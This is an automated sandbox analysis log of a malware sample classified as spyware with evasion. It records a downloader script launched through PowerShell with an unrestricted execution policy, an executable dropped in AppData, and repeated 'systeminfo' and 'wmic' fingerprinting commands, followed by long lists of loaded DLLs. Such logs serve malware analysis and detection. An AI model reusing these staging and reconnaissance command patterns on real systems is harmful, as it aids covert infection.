Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810CA17F8	29_2_00007FF810CA17F8
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: 29_2_00007FF810CA1C12	29_2_00007FF810CA1C12

Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: String function: 00007FF810D1D341 appears 129 times
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: String function: 00007FF810C43880 appears 51 times
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: String function: 00007FF61C4C2710 appears 52 times
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: String function: 00007FF810C43900 appears 116 times
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Code function: String function: 00007FF810CA1325 appears 42 times

Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 1132 -s 900

Source: unicodedata.pyd.9.dr

Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: python3.dll.9.dr	Static PE information: No import functions for PE file found
Source: python3.dll.11.dr	Static PE information: No import functions for PE file found

Source: Qt5Core.dll.9.dr	Static PE information: Section: .qtmimed ZLIB complexity 0.997458770800317
Source: Qt5Core.dll.11.dr	Static PE information: Section: .qtmimed ZLIB complexity 0.997458770800317

Source: classification engine

Classification label: mal80.spyw.evad.winPS1@39/433@1/1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\oZsKAKyZ.zip

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7340:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2832:120:WilError_03
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Mutant created: NULL
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6132
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3716:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7656:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5320:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7388:120:WilError_03
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess1132
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4920:120:WilError_03
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3104

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yqwutoc1.4ay.ps1

Jump to behavior

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: download.ps1

Virustotal: Detection: 10%

Source: check.exe	String found in binary or memory: <!--StartFragment-->
Source: check.exe	String found in binary or memory: <!--StartFragment-->

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\download.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe "C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe"
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process created: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe "C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe "C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe"
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\systeminfo.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get manufacturer"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get manufacturer
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 1132 -s 900
Source: unknown	Process created: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe "C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe"
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process created: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe "C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe"
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\systeminfo.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get manufacturer"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get manufacturer
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process created: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe "C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe"
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 3104 -s 908
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\systeminfo.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get manufacturer"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get manufacturer
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 6132 -s 972
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe "C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process created: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe "C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get manufacturer"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process created: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe "C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get manufacturer	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process created: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe "C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe"
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get manufacturer"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get manufacturer
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get manufacturer"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get manufacturer

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: libffi-8.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: qt5core.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: msvcp140_1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: libcrypto-3.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: libssl-3.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: qt5widgets.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: qt5gui.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: d3d9.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: libffi-8.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: qt5core.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: msvcp140.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: msvcp140_1.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: vcruntime140_1.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: vcruntime140_1.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: libcrypto-3.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: libssl-3.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: pdh.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: qt5widgets.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: qt5gui.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: qt5gui.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: d3d11.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: dxgi.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: dxgi.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: d3d9.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: d3d10warp.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: dataexchange.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: dcomp.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: twinapi.appcore.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
